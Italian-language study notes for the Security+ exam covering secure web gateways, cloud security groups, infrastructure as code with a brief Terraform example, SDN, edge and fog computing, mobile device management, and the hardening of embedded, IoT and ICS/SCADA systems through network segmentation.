SWG di nuova generazione e' la combinazione di un proxy server e un firewall stateless. E' tipicamente un servizio cloud-based, ma puo' essere un appliance on-site. I client sono configurati per accedere a tutte le risorse internet tramite l'SWG.\nServizi forniti dall'SWG:\nServizio Espansione Cosa fa URL filtering Filtro URL Blocca l'accesso a siti non autorizzati Packet filtering Filtro pacchetti Rileva e blocca traffico malevolo Malware detection Rilevamento malware Blocca malware prima che entri nella rete Network-based DLP Data Loss Prevention Previene esfiltrazione di dati Sandboxing Sandboxing Analizza file sospetti in ambiente isolato Tip Exam tip: CASB = tra rete aziendale e cloud provider, monitora traffico e applica policy. SWG = proxy per il traffico client verso internet, filtra URL e scansiona malware. Sono complementari — CASB guarda il traffico verso il cloud, SWG guarda il traffico verso internet in generale.\nCloud Firewall e Security Groups # I CSP hanno firewall sofisticati che proteggono le loro reti. Questi firewall filtrano il traffico verso le risorse cloud di tutti i clienti — ma il CSP non permette di modificarli direttamente. Motivo: le tue regole potrebbero compromettere la sicurezza degli altri clienti sulla stessa infrastruttura.\nI Security Groups risolvono il problema: ti permettono di scrivere regole firewall che si applicano solo alle tue risorse. Il CSP usa il proprio firewall per applicare le regole che hai definito nel tuo security group, senza darti accesso diretto al firewall.\nCSP Firewall (non modificabile direttamente) | Security Group ← tue regole, solo per le tue risorse | Le tue VM / risorse cloud Esempio pratico: su Hetzner, la voce \u0026quot;Firewall\u0026quot; nella console non e' il firewall Hetzner — e' il tuo Security Group. Scrivi le regole li', Hetzner le applica solo sulle tue VM.\nWarning I security group vanno gestiti con attenzione: un errore non colpisce gli altri clienti, ma puo' compromettere completamente la sicurezza dei tuoi sistemi.\nTip Exam tip: non puoi modificare il firewall del CSP direttamente. Usi i Security Groups per definire regole che il CSP applica solo per le tue risorse.\nInfrastructure as Code (IaC) # IaC = gestire e fare il provisioning dei data center con codice per definire VM e reti virtuali. Riduce la complessita' di creare virtual objects permettendo agli amministratori di eseguire uno script invece di configurare manualmente ogni risorsa.\nVirtual objects = tutto quello che esiste nell'infrastruttura cloud/virtualizzata che non è hardware fisico.\nEsempi concreti:\nVM (server virtuale) Virtual network (rete virtuale) Security Group (firewall virtuale) Storage bucket Load balancer virtuale Subnet virtuale Gli amministratori preferiscono questo approccio perche' produce codice riusabile e facilita l'automazione: lo stesso script crea la stessa infrastruttura ogni volta, senza errori umani.\nEsempi di tool IaC: Terraform, AWS CloudFormation, Ansible.\nEsempio concreto — creare la tua VPS Hetzner con Terraform: # main.tf resource \u0026#34;hcloud_server\u0026#34; \u0026#34;web\u0026#34; { name = \u0026#34;mustache-web\u0026#34; server_type = \u0026#34;cx22\u0026#34; image = \u0026#34;ubuntu-24.04\u0026#34; location = \u0026#34;nbg1\u0026#34; } resource \u0026#34;hcloud_firewall\u0026#34; \u0026#34;web_fw\u0026#34; { name = \u0026#34;mustache-firewall\u0026#34; rule { direction = \u0026#34;in\u0026#34; protocol = \u0026#34;tcp\u0026#34; port = \u0026#34;443\u0026#34; source_ips = [\u0026#34;0.0.0.0/0\u0026#34;] } } Esegui terraform apply e Hetzner crea il server + il firewall in automatico. Vuoi rifare tutto da capo? terraform destroy + terraform apply. Stesso risultato ogni volta — nessun click, nessun errore umano.\nTip Exam tip: IaC = codice per creare virtual objects (VM, reti). Vantaggi: riusabilita' e automazione.\nSoftware-Defined Networking (SDN) # L'SDN usa tecnologie di virtualizzazione per instradare il traffico al posto di router e switch hardware fisici. Sempre piu' CSP lo implementano come parte dell'offerta IaaS.\nL'SDN separa due piani distinti nella rete:\nPiano Espansione Cosa fa Tecnologia tradizionale Data plane Piano dati Decide se forwardare o bloccare il traffico Regole ACL su router hardware (proprietario) Control plane Piano di controllo Determina il percorso migliore da prendere Protocolli di routing (OSPF, BGP) Nei router hardware tradizionali, entrambi i piani girano sullo stesso dispositivo fisico e sono proprietari — legati a quel vendor specifico. L'SDN implementa il data plane via software e virtualizzazione, permettendo di abbandonare l'hardware proprietario.\nIl control plane usa gli stessi protocolli di routing (OSPF, BGP): i router li usano per condividere informazioni e costruire una mappa della rete. L'SDN puo' usare gli stessi protocolli, ma senza hardware fisico.\nSD-WAN — Software-Defined Wide Area Network: quando l'SDN opera su reti geograficamente distribuite (WAN) per connettere sedi diverse, prende il nome di SD-WAN.\nRete tradizionale: SDN: Router fisico Software controller [data plane] [control plane] [control plane] | → proprietario ↓ → vendor lock-in Virtual switches [data plane in software] → vendor-agnostic Tip Exam tip: SDN = data plane e control plane separati e implementati via software. Data plane = forward/block (ACL). Control plane = path determination (OSPF, BGP). SD-WAN = SDN applicato alle WAN per connettere sedi remote.\nEdge Computing e Fog Computing # Important Il concetto chiave e' la latenza — il tempo che passa tra l'invio di un dato e la ricezione della risposta. Edge e fog computing esistono per eliminarla quando e' inaccettabile.\nIl problema del cloud tradizionale:\nSensore → cloud (elaborazione) → risposta → azione ↑ round trip: troppo lento in scenari critici Esempio Gibson — adaptive cruise control: un'auto a 60 mph rileva traffico in rallentamento. Se i dati dei sensori vanno al cloud per essere elaborati, l'auto potrebbe crashare prima di ricevere la risposta. Il round trip e' troppo lento.\nEdge computing:\nL'elaborazione avviene sul dispositivo stesso o su un appliance fisicamente vicino. Zero round trip verso il cloud — latenza eliminata.\nSensore auto → processore a bordo → frena subito Fog computing:\nQuasi identico all'edge, ma l'elaborazione avviene su un nodo della rete locale vicino ai dispositivi — non sul dispositivo stesso. La fog network puo' avere nodi multipli che rilevano ed elaborano dati insieme.\nEdge Fog Dove elabora Sul singolo dispositivo o appliance Su nodo/i della rete locale Nodi Singolo Multipli, si coordinano Esempio Processore onboard dell'auto Gateway locale che coordina 50 sensori La \u0026quot;fog\u0026quot; e' lo strato intermedio tra i dispositivi e il cloud — elabora localmente prima di passare i dati aggregati al cloud centrale.\nTip Exam tip: edge = singolo dispositivo, latenza zero. Fog = rete locale con nodi multipli. Entrambi risolvono la latenza del cloud tradizionale. Keyword da ricordare: \u0026quot;latency-sensitive\u0026quot;.\nMobile Devices # mindmap root((Mobile Devices)) Deployment Models Corporate-owned controllo totale COPE org compra uso personale BYOD dipendente porta CYOD dipendente sceglie da lista Trappola chi compra Connection Methods Cellular LTE 5G Wi-Fi Bluetooth PAN Tethering hotspot Wi-Fi Direct peer-to-peer MDM e UEM App management allow list Full device encryption Storage segmentation Containerization BYOD Remote wipe Geofencing confine virtuale Geotagging rischio privacy Context-aware auth Hardening Mobile Jailbreaking iOS restrizioni Rooting Android accesso root Sideloading APK Unknown Sources OTA firmware update NAC blocca non conformi I dispositivi mobili rappresentano sfide significative per le organizzazioni. Le domande chiave sono: i dipendenti possono connettere i loro dispositivi alla rete? Se si', come si gestiscono sicurezza, monitoraggio e policy?\nCosa e' un dispositivo mobile # Nel contesto Security+: smartphone o tablet. NIST SP 800-124 aggiunge caratteristiche specifiche:\nCaratteristiche obbligatorie (per rientrare nella definizione NIST):\nAlmeno un'interfaccia di rete wireless Storage locale Sistema operativo Possibilita' di installare applicazioni aggiuntive Caratteristiche opzionali tipiche: Bluetooth, NFC, accesso cellulare per voce, GPS, fotocamera digitale, videoregistratore, microfono, trasferimento dati ad altri sistemi.\nEsclusi dalla definizione NIST: laptop e desktop (mancano GPS e sensori di movimento come accelerometro e giroscopio), telefoni base, fotocamere digitali, dispositivi IoT (non hanno OS o hanno OS limitato).\nMobile Device Deployment Models # Qualsiasi dispositivo connesso alla rete aziendale e' un rischio potenziale. Se l'organizzazione possiede tutti i dispositivi, monitorarli e gestirli e' semplice. Se i dipendenti usano i propri dispositivi, diventa piu' complesso — i dipendenti spesso resistono al monitoraggio del loro device personale.\nModello Espansione Chi possiede Uso personale Controllo org Corporate-owned — Organizzazione No Totale COPE Corporate-Owned, Personally Enabled Organizzazione Si', libero Alto BYOD Bring Your Own Device Dipendente Si', illimitato Limitato CYOD Choose Your Own Device Dipendente Si' Medio (lista approvata) Corporate-owned: modello tradizionale. L'organizzazione acquista i dispositivi e li assegna ai dipendenti.\nCOPE — Corporate-Owned, Personally Enabled: l'organizzazione acquista il dispositivo, ma il dipendente lo usa come se fosse suo — attivita' personali incluse. Il fatto che l'organizzazione possieda il dispositivo facilita la gestione.\nCome con BYOD, il device COPE e' diviso in partizioni: una per i dati aziendali, una per i dati personali. L'amministratore puo' cancellare la partizione aziendale in qualsiasi momento senza toccare i dati personali — utile in caso di licenziamento o smarrimento del device.\nBYOD — Bring Your Own Device: i dipendenti portano i propri dispositivi e li connettono alla rete. Il dipendente sceglie e supporta il device, ma deve rispettare la BYOD policy. Tra i professionisti IT e' ironicamente chiamato \u0026quot;bring your own disaster\u0026quot; — l'IT finisce per dover supportare qualsiasi dispositivo esistente.\nPolicy cambio device: quando un dipendente vende o rottama il vecchio telefono, i dati aziendali devono essere cancellati prima della cessione. L'MDM gestisce questo tramite remote wipe selettivo della partizione aziendale. Il nuovo device va poi registrato nell'MDM prima di poter accedere alle risorse aziendali.\nCYOD — Choose Your Own Device: l'organizzazione pubblica una lista di dispositivi approvati. Il dipendente sceglie dalla lista e lo acquista. Soluzione intermedia: l'IT supporta un insieme limitato di device invece di qualsiasi dispositivo.\nImportant Exam trap COPE vs CYOD: in COPE l'organizzazione acquista il dispositivo. In CYOD il dipendente acquista dalla lista approvata. La differenza e' chi paga.\nTip Exam tip: BYOD = dipendente porta il suo → massima flessibilita', minimo controllo. COPE = org compra, dipendente usa anche per cose personali → controllo mantenuto. CYOD = dipendente sceglie da lista approvata e compra → controllo sulla tipologia, non sul singolo device.\nConnection Methods # Metodo Espansione Note Cellular LTE / 4G / 5G Dipende da provider, posizione e dispositivo. Generazioni piu' recenti = piu' velocita' e qualita' voce Wi-Fi Wireless network interface Quasi sempre presente. Protocolli in Cap 4 Bluetooth Personal Area Network Cuffie wireless, connessione tra smartphone. Attacchi Bluetooth in Cap 4 Tethering Condivisione connessione Un dispositivo mobile condivide la sua connessione internet con altri device — es. iPhone come hotspot Wi-Fi Direct Connessione peer-to-peer Collega due device direttamente senza passare per un router wireless. Utile per stampare o condividere file Rischi Wi-Fi pubblico (coffee shop, hotel, aeroporto)\nLe reti Wi-Fi pubbliche spesso non sono cifrate. Un attaccante nella stessa area geografica puo':\nMonitorare il traffico — leggere dati non cifrati in transito On-path attack (MITM) — inserirsi tra il tuo device e il router, intercettando e potenzialmente modificando tutto il traffico DoS via interferenza — generare interferenza sulle frequenze Wi-Fi per bloccare le connessioni Vale uguale per laptop e desktop connessi a Wi-Fi pubblico — non solo mobile.\nDifesa: VPN su qualsiasi rete non fidata. La VPN cifra tutto il traffico tra il device e il server VPN, rendendo inutile il monitoraggio locale.\nBluetooth — rischi di pairing\nIl Bluetooth e' progettato per distanze brevi (PAN — Personal Area Network). Il pairing e' il meccanismo di sicurezza: la prima connessione richiede conferma esplicita. Non accettare pairing da device sconosciuti — un device Bluetooth ostile puo' accedere ai dati sul tuo telefono.\nMDM — Mobile Device Management # L'MDM include le tecnologie per gestire i dispositivi mobili e garantire che abbiano security control attivi. Alcuni vendor offrono soluzioni UEM (Unified Endpoint Management) — evoluzione dell'MDM che copre anche desktop, laptop e qualsiasi endpoint, non solo mobile. Esempio: Microsoft Configuration Manager supporta iOS e Android.\nServer MDM — la parte centrale. Riceve i comandi dell'amministratore (installa questa app, fai remote wipe, applica questa policy) e li distribuisce.\nAgente MDM — software installato sul device. Riceve i comandi dal server e li esegue localmente. È anche lui che raccoglie informazioni sullo stato del device (patchato? jailbroken? antivirus ok?) e le riporta al server.\nSenza agente il server non può fare nulla sul device — è il punto di contatto.\nL'unica eccezione è iOS con l'Apple MDM protocol: su iPhone l'agente non è una app separata visibile — è integrato nel sistema operativo. Su Android invece l'agente è spesso un'app installabile.\nTabella delle funzionalita' MDM principali:\nFunzionalita' Cosa fa Keyword esame Application management Allow list per controllare quali app possono girare. MAM (Mobile Application Management) e' il sottoinsieme focalizzato solo sulle app Allow list, MAM Full device encryption Cifra tutto il dispositivo — protegge dati se il device e' perso o rubato FDE mobile Storage segmentation Isola i dati aziendali in uno spazio separato (es. storage esterno o segmento cifrato) dai dati personali Segmentazione storage Content management Garantisce che i contenuti aziendali finiscano nel segmento cifrato. Puo' richiedere ri-autenticazione per accedere ai dati aziendali Content management Containerization Isola l'app aziendale in un container cifrato senza cifrare l'intero device — utile in BYOD Container, BYOD Passwords e PIN Policy password simili ai desktop. Alcuni device supportano solo PIN PIN policy Biometrics Riconoscimento facciale, impronta digitale come alternativa a password/PIN Biometrics auth Screen lock Blocco automatico dopo N minuti. Spesso combinato con auto-erase dopo X tentativi falliti Screen lock, auto-erase Remote wipe Segnale remoto che cancella tutti i dati (inclusi dati cached come password bancarie) Remote wipe Geolocation GPS per localizzare il dispositivo — utile se perso o rubato GPS, geolocation Geofencing Confine virtuale geografico. Le app possono attivarsi/disattivarsi in base alla posizione del device. Esempio: fotocamera disabilitata dentro il campus aziendale, riabilitata automaticamente all'uscita Geofencing GPS tagging Aggiunge coordinate geografiche ai file (foto, video). Rischio privacy: chi vede le foto sa dove sono state scattate Geotagging Context-aware authentication Autenticazione multi-elemento: identita' utente + geolocation + geofence + rete + comportamento + ora + tipo di device Context-aware auth Push notifications Messaggi inviati alle app anche con screen lock attivo. MDM li usa per notificare problemi di compliance Push notifications Containerization in BYOD — perche' e' il caso d'uso principale:\nCon BYOD l'organizzazione non puo' cifrare l'intero device personale del dipendente. Il container risolve il problema: isola e cifra solo la parte aziendale, senza toccare i dati personali.\nDevice BYOD (dipendente) ├── [CONTAINER CIFRATO] ← app e dati aziendali, gestito da MDM │ Email aziendale │ VPN │ File aziendali └── Resto del device ← personale, non toccato dall\u0026#39;org Instagram Foto WhatsApp GPS tagging — il rischio che Gibson evidenzia:\nLisa posta regolarmente foto di casa con GPS tagging attivo. I ladri identificano il suo indirizzo. Quando posta foto da una location di vacanza, i ladri sanno che la casa e' vuota.\nRemote wipe e autorita' per modello:\nModello Wipe completo Wipe selettivo (solo dati aziendali) COPE Si' — l'org possiede il device Si' BYOD No* — e' proprieta' del dipendente Si' — autorizzato dalla policy MDM firmata all'enrollment CYOD No* — e' proprieta' del dipendente Si' — autorizzato dalla policy MDM firmata all'enrollment *Salvo che la policy firmata preveda esplicitamente il wipe completo (es. in caso di smarrimento o furto).\nIn BYOD e CYOD l'autorizzazione al wipe selettivo non viene chiesta al momento — e' stata data in anticipo firmando la policy di enrollment MDM.\nTip Exam trap: \u0026quot;Can the organization remotely wipe a BYOD device?\u0026quot; — risposta corretta: solo i dati aziendali (wipe selettivo), non il device intero. Il wipe completo richiederebbe proprieta' del device (COPE) o consenso esplicito preventivo nella policy.\nImportant Exam keywords da ricordare: remote wipe = cancella tutto da remoto. Geolocation = GPS per trovare il device. Geofencing = confine virtuale geografico. GPS tagging = coordinate geografiche nei file. Context-aware authentication = autenticazione multi-elemento (identita' + posizione + device + comportamento).\nTip Exam tip: containerization e' la soluzione MDM specifica per BYOD — permette di proteggere i dati aziendali senza cifrare l'intero device personale. UEM = MDM esteso a tutti gli endpoint (desktop inclusi).\nHardening Mobile Devices # MDM e proprieta' del device — due approcci diversi\nL'MDM gestisce i device in modo diverso in base a chi li possiede:\nDevice aziendale Device del dipendente (BYOD) Approccio Controllo attivo Monitoraggio compliance Cosa fa Installa app, le aggiorna, gestisce tutto Controlla se il device rispetta i requisiti minimi Se non conforme N/A Blocca l'accesso alla rete aziendale tramite NAC NAC (Network Access Control): quando l'MDM rileva un device BYOD non conforme (non patchato, antivirus non aggiornato), si integra con il NAC per impedire la connessione alla rete aziendale. Il telefono continua a funzionare su rete cellulare o Wi-Fi personale — ma non accede al Wi-Fi aziendale, VPN o risorse interne finche' non soddisfa i requisiti.\nDevice BYOD non patchato | MDM → \u0026#34;non conforme\u0026#34; | NAC → blocca accesso rete aziendale | niente Wi-Fi / VPN aziendali — finche\u0026#39; non si aggiorna Unauthorized Software\nLe organizzazioni vogliono che gli utenti installino app solo da fonti approvate.\nStore Piattaforma Livello di scrutinio Apple App Store iOS / iPadOS Alto — Apple testa attivamente per malware, banna i developer che distribuiscono malware Google Play Android Alto — ma meno restrittivo di Apple Third-party app store Entrambi Basso — nessun livello di scrutinio equivalente. Rischio maggiore Apple rende molto difficile installare app da store terzi. Su Android e' relativamente facile.\nJailbreaking (iOS): rimuove tutte le restrizioni software da un device Apple. Dopo il jailbreak l'utente puo' installare software da qualsiasi fonte terza. Rompe il modello di sicurezza del vendor.\nRooting (Android): modifica il device per dare all'utente accesso root (amministratore completo). Equivalente del jailbreaking su Android.\nEntrambi introducono rischi e vulnerabilita'. E' comune che l'MDM blocchi completamente l'accesso alla rete se rileva un device rootato o jailbroken.\nFirmware e OTA updates\nI dispositivi mobili conservano il sistema operativo in memoria integrata — tipicamente flash memory, che mantiene i dati anche senza alimentazione. Poiche' il SO e' software e la memoria e' hardware, questa combinazione si chiama firmware.\nGli aggiornamenti del SO sovrascrivono il firmware tramite OTA (Over-The-Air) updates — wireless, senza collegare il device a un computer.\nQuando Apple rilascia iOS 18, l'aggiornamento arriva direttamente sul tuo iPhone via Wi-Fi o dati — lo scarichi, lo installi, il telefono si riavvia con il nuovo SO.\nQuello che sta succedendo sotto: il nuovo iOS sovrascrive il firmware nella flash memory integrata del telefono. Il vecchio firmware viene rimpiazzato.\n\u0026quot;Over-the-Air\u0026quot; significa semplicemente che arriva via aria — wireless. Contrapposto al vecchio metodo di collegare il telefono al Mac con il cavo USB e aggiornare tramite iTunes.\nStesso concetto dei router moderni: aggiornamento firmware disponibile → lo scarichi dalla console web → sovrascrive il chip. Nessun cavo, nessun intervento fisico.\nCustom firmware: e' possibile sovrascrivere il firmware con una versione custom. Usato come metodo alternativo di rooting su Android — processo complesso e rischioso. Alcune persone scaricano immagini e le copiano sul device per sovrascrivere il firmware originale.\nSideloading: installare applicazioni su Android copiando un file APK (Application Package Kit) direttamente sul device e attivandolo. Richiede di abilitare \u0026quot;Unknown Sources\u0026quot; nelle impostazioni — il che indebolisce significativamente la sicurezza. Utile per developer che testano app, rischioso quando si installano app da terze parti.\nImportant Jailbreaking = rimozione restrizioni su iOS. Rooting = accesso root su Android. Entrambi → MDM blocca l'accesso alla rete. Sideloading = installare APK Android fuori dal Play Store, richiede \u0026quot;Unknown Sources\u0026quot;.\nTip Exam tip: firmware = OS mobile su flash memory (software + hardware insieme). OTA = aggiornamento firmware wireless. Custom firmware = metodo di rooting alternativo. NAC + MDM = se BYOD non e' conforme, niente rete aziendale.\nEmbedded Systems # mindmap root((Embedded Systems)) Funzione Dedicata MFP stampante Router ECU ATM PLC IoT Facility sanita automotive NISTIR 8228 Superficie attacco enorme ICS e SCADA ICS controlla fisico PLC Programmable Logic SCADA supervisiona ICS CIA invertita Availability prima VLAN isolata NIPS Stuxnet Colonial Pipeline Componenti SoC tutto in un chip Compatto power-efficient RTOS timing deterministico Medical automotive Vincoli 6 Compute limitato Crypto limitata Power batteria Deployment remoto Cost sicurezza tagliata No-Patch impossibile Difesa Segmentazione di rete Compensating controls No patch applicare isolare Un sistema embedded e' un computer dentro un oggetto che esiste per fare una funzione specifica.\nUn Mac e' general-purpose: ci puoi fare qualsiasi cosa. Un sistema embedded ha CPU, OS e applicazioni come il Mac — ma non e' progettato per usi generici. E' costruito per fare solo quello.\nEsempi:\nDispositivo Funzione dedicata Ha CPU + OS? Stampante Wi-Fi MFP Stampare, scansionare, copiare, inviare fax Si Router di casa Instradare traffico di rete Si Termostato smart Gestire la temperatura Si Centralina auto (ECU) Controllare il motore Si Bancomat (ATM) Operazioni bancarie Si Esempio Gibson — stampante MFP: ha un web server interno accessibile via Wi-Fi per la configurazione, gestisce lavori di stampa, scansione, copia, fax e invio email. E' un computer completo, ma dedicato solo a quelle funzioni.\nTip Exam tip: embedded system = computer dedicato a una funzione specifica. Ha CPU, OS e applicazioni come un PC tradizionale — ma non e' general-purpose. Keyword: \u0026quot;dedicated function\u0026quot;.\nIoT — Internet of Things # L'IoT comprende una vasta gamma di tecnologie che interagiscono con il mondo fisico. Hanno tipicamente sistemi embedded e si connettono a un dispositivo o app centrale comunicando via internet, Bluetooth o altre tecnologie wireless.\nNISTIR 8228 (NIST) precisa che lo scope completo dell'IoT non e' definito con precisione — le tecnologie coprono settori molto diversi: sanita', trasporti, sicurezza domestica.\nEsempi per settore:\nSettore Esempi IoT Facility automation Illuminazione motion-controlled, telecamere di sicurezza, sistemi rilevamento e soppressione incendi Sanita' Monitoraggio temperatura vaccini, rilevamento parametri vitali pazienti Automotive Sistemi embedded per il controllo dell'auto, aggiornamenti OTA — i produttori potrebbero rendere tutti i sistemi embedded accessibili via internet Aeronautica Tracciamento manutenzione e performance di ogni parte in movimento dell'aereo UAV Hobbyist: foto remote. Militare: ricognizione e sistemi d'arma con embedded systems sofisticati Smart meters Rete elettrica — monitoraggio e registrazione remota del consumo energetico, analytics a server centralizzati UAV — Unmanned Aerial Vehicle: veicolo aereo senza pilota a bordo. I droni hobbyist usano embedded systems semplici. I droni militari hanno sistemi embedded sofisticati per missioni di ricognizione e armamento.\nWarning I produttori di automobili potrebbero integrare tutti i sistemi embedded in un'unica architettura accessibile via internet — rendendo ogni sistema raggiungibile dagli attaccanti. Superficie di attacco enorme su un oggetto fisico in movimento.\nICS e SCADA # ICS — Industrial Control System: sistemi all'interno di grandi impianti come centrali elettriche o impianti di trattamento acque. Controllano processi fisici industriali.\nSCADA — Supervisory Control and Data Acquisition: sistema che controlla un ICS monitorandolo e inviandogli comandi. E' il \u0026quot;cervello\u0026quot; sopra l'ICS.\nIdealmente questi sistemi vivono in reti isolate senza accesso a internet — il caso estremo e' l'air-gap: nessuna connessione fisica con la rete aziendale o internet. Un sistema air-gapped non e' raggiungibile da remoto per definizione. In pratica i sistemi SCADA sono spesso collegati alla rete aziendale ma isolati in una VLAN dedicata protetta da un NIPS (Network Intrusion Prevention System) che blocca il traffico indesiderato.\nInternet | [Firewall] | Rete aziendale | [NIPS] ← blocca traffico non autorizzato verso ICS/SCADA | VLAN isolata | ICS / SCADA ← non raggiungibile direttamente da internet Fiume | Diga (valvole fisiche) | PLC ← ICS: controlla apertura/chiusura valvole PLC ← ICS: controlla velocità turbine PLC ← ICS: controlla generatori | SCADA server ← supervisiona tutto, manda comandi ai PLC | Sala controllo ← operatori vedono grafici, intervengono se necessario ICS = i PLC fisici che aprono valvole, regolano turbine, controllano generatori. Ogni PLC controlla un pezzo del processo fisico. SCADA = il sistema sopra che raccoglie dati da tutti i PLC, li mostra agli operatori su dashboard, e permette di mandare comandi da remoto (\u0026#34;riduci velocità turbina 3\u0026#34;). Caso reale — Colonial Pipeline 2021: attacco ransomware che ha colpito i sistemi IT della società. Per paura che il ransomware raggiungesse i sistemi SCADA che controllano l'oleodotto, hanno spento tutto preventivamente. Risultato: 6 giorni di interruzione, carburante razionato sulla East Coast USA. L'attacco non ha mai toccato i sistemi SCADA — ma la vicinanza tra rete IT e rete SCADA era abbastanza preoccupante da giustificare lo spegnimento.\nQuesto è esattamente perché Gibson dice che ICS/SCADA dovrebbero stare in reti isolate.\nUsi comuni di ICS e SCADA:\nSettore Espansione Esempio Manufacturing Produzione industriale Monitoraggio ogni fase di produzione, alert anomalie in real-time, regolazione automatica processi Facilities Gestione impianti Temperatura e umidita' in edifici, fasi di trattamento acque Energy Energia Raffinerie oil \u0026amp; gas, generazione elettrica Logistics Logistica Monitoraggio processi in magazzini e centri di spedizione Important Exam keyword: SCADA controlla un ICS tramite monitoraggio e comandi. ICS = sistema di controllo industriale (centrale elettrica, impianto idrico). Protezione: VLAN isolata + NIPS. Caso studio classico: Stuxnet (2010) — malware che ha sabotato i PLC Siemens delle centrifughe di arricchimento uranio iraniane modificandone la velocita' mentre i monitor mostravano tutto normale.\nTip Exam tip: ICS/SCADA hanno la CIA triad invertita rispetto all'IT classico — Availability prima di tutto. Un sistema di controllo di una centrale che va offline causa danni fisici immediati. Le patch si rimandano finche' non c'e' una maintenance window — mesi o anni. Compensating controls (VLAN, NIPS, monitoring) invece di patch immediate.\nEmbedded Systems Components # Due componenti chiave che distinguono i sistemi embedded dai PC tradizionali:\nSoC — System-on-Chip\nUn SoC integra in un singolo chip tutto quello che in un PC normale occupa una scheda madre intera: processore, memoria, interfacce I/O e altri componenti. Questa integrazione rende i sistemi embedded compatti ed efficienti dal punto di vista energetico, mantenendo la potenza di calcolo necessaria per la funzione specifica.\nGli SoC sono spesso customizzati per l'applicazione specifica — progettati e costruiti appositamente per quel sistema embedded, non chip generici riutilizzabili ovunque.\nEsempio: Prima dell'SoC ogni componente era un chip separato sulla scheda madre:\nCPU separata RAM separata GPU separata Controller I/O separato Modem separato\nOgni chip occupa spazio fisico, consuma corrente, genera calore, e deve comunicare con gli altri tramite tracce sulla scheda madre — quella comunicazione ha un costo in tempo e energia.\nCon l'SoC tutto è sullo stesso chip di silicio:\nMeno spazio → entra in un telefono sottile Meno consumi → batteria dura di più Comunicazione interna più veloce → performance migliori Meno componenti → meno cose che si rompono Il tuo Mac Intel di qualche anno fa aveva ancora CPU, RAM e GPU separati. Il passaggio ad Apple Silicon (M1/M2/M3) è stato esattamente questo: tutto su un SoC. Risultato: prestazioni più alte, calore ridotto, batteria raddoppiata.\nRTOS — Real-Time Operating System\nUn OS specializzato per sistemi embedded che richiedono timing preciso e comportamento deterministico. La caratteristica chiave: il real-time scheduling garantisce che certi task vengano completati entro un timeframe specifico.\nQuesto e' critico dove il timing e' una questione di sicurezza fisica:\nDispositivi medici: il pacemaker deve erogare l'impulso entro millisecondi precisi Sistemi automotive: il sistema frenante deve rispondere entro tempi garantiti Controllo industriale: un PLC che manca un ciclo di controllo puo' causare danni fisici L'RTOS e' anche progettato per essere leggero: piccolo footprint di memoria, basso overhead di processing — adatto a hardware con risorse limitate.\nOS tradizionale (Linux, Windows) RTOS Priorita' Efficienza generale Timing garantito Scheduling Best-effort Deterministico Footprint Grande Piccolo Uso PC, server, mobile Embedded, IoT, industriale Tip Exam tip: SoC = tutti i componenti del computer su un singolo chip, compatto e power-efficient, spesso customizzato. RTOS = OS per embedded con timing garantito (deterministico) — critico per medical devices e automotive dove il timing e' safety-critical.\nHardening Specialized Systems # La sfida principale con sistemi embedded, IoT e ICS/SCADA e' tenerli aggiornati con le patch di sicurezza. Due problemi distinti:\nLato vendor: i produttori di sistemi embedded non sono aggressivi nell'identificare vulnerabilita' e creare patch quanto i vendor di software tradizionale. Microsoft e Apple rilasciano patch regolarmente. I vendor di RTOS e sistemi embedded molto meno.\nLato amministratori IT: il patch management e' routine per Windows e Linux. Ma chi controlla e applica gli aggiornamenti dell'RTOS di un PLC o del firmware di una stampante industriale? Spesso nessuno.\nPLC — Programmable Logic Controller: computer industriale che controlla un processo fisico eseguendo in loop continuo: leggi sensori → elabora → aziona. Non ha schermo, tastiera o browser. Viene programmato una volta e gira H24 facendo sempre la stessa cosa.\nEsempio — catena di imbottigliamento:\nSensore livello bottiglia | PLC ← legge il sensore, decide | Valvola acqua ← apre/chiude in base alla decisione Perche' patchare un PLC e' difficile: per applicare una patch devi fermare il processo fisico che controlla. In una centrale elettrica o in un impianto di trattamento acque, fermo = blackout o interruzione del servizio. Si aspetta la maintenance window — che puo' essere tra mesi. Nel frattempo la vulnerabilita' resta aperta.\nStuxnet (2010) ha sfruttato esattamente questo: ha modificato la velocita' dei PLC Siemens nelle centrifughe iraniane. I tecnici vedevano tutto normale sui monitor, ma le centrifughe si distruggevano fisicamente.\nIl risultato: vulnerabilita' note rimangono aperte per mesi o anni su sistemi che nel frattempo controllano processi fisici critici.\nSegmentazione come compensating control\nPoiche' e' difficile gestire in modo sicuro questi sistemi con le patch, la risposta principale e' la segmentazione di rete: isolare i sistemi specialized in una rete separata, bloccata e protetta dagli attacchi esterni.\nRete aziendale generale | [Firewall / NIPS] | Rete segmentata ← embedded, IoT, ICS/SCADA qui (VLAN isolata) accesso ristretto monitoraggio stretto La logica e': se non puoi proteggere il sistema dall'interno (patch difficili o impossibili), costruisci una barriera intorno. Non puoi toccare il firmware del PLC — ma puoi fare in modo che nessuno ci arrivi.\nImportant Exam pattern: \u0026quot;embedded/IoT/ICS non si aggiornano facilmente\u0026quot; → la risposta di sicurezza e' sempre segmentazione. Non \u0026quot;applicare patch\u0026quot; (spesso impossibile) ma \u0026quot;isolare in rete separata con accesso controllato\u0026quot;.\nTip Exam tip: patch management per sistemi specialized e' problematico per due ragioni — vendor poco reattivi e amministratori IT che non monitorano questi aggiornamenti. Compensating control = segmentazione di rete.\nEmbedded System Constraints # I sistemi embedded hanno vincoli strutturali che limitano le opzioni di sicurezza disponibili:\nVincolo Problema Impatto security Compute CPU limitata, non full CPU Non puo' eseguire algoritmi crittografici pesanti Cryptographic limitations Potenza di calcolo insufficiente per tutti i protocolli crypto Se i designer sacrificano la sicurezza per risparmiare risorse, creano vulnerabilita' involontarie Power Nessuna alimentazione propria — usa il dispositivo host o batterie Piu' capacita' di calcolo = piu' consumo = batterie da sostituire piu' spesso. Conflitto diretto tra sicurezza e autonomia Ease of deployment Spesso in luoghi remoti e difficili da raggiungere Manutenzione e aggiornamenti complessi. RTOS richiede competenze specializzate — costo e tempi di deploy aumentano Cost Il costo si abbassa sacrificando funzionalita' La sicurezza e' la prima funzionalita' che viene tagliata. Tensione tra management (vuole risparmiare) e designer (vuole aggiungere feature) Inability to patch Spesso impossibile patchare — i vendor non sempre includono metodi di aggiornamento, e quando li includono non rilasciano patch tempestivamente Vulnerabilita' note restano aperte a lungo. Nessun remediation disponibile Il vincolo piu' critico per la sicurezza e' l'interazione tra cost e cryptographic limitations: un dispositivo IoT da pochi euro non ha il budget hardware per cifratura robusta. Se il designer sceglie di non cifrare per risparmiare, quella decisione crea una vulnerabilita' permanente nel prodotto.\nImportant Exam pattern: scenario con sistema embedded che non puo' essere patchato o non supporta encryption → la risposta e' sempre segmentazione di rete come compensating control. 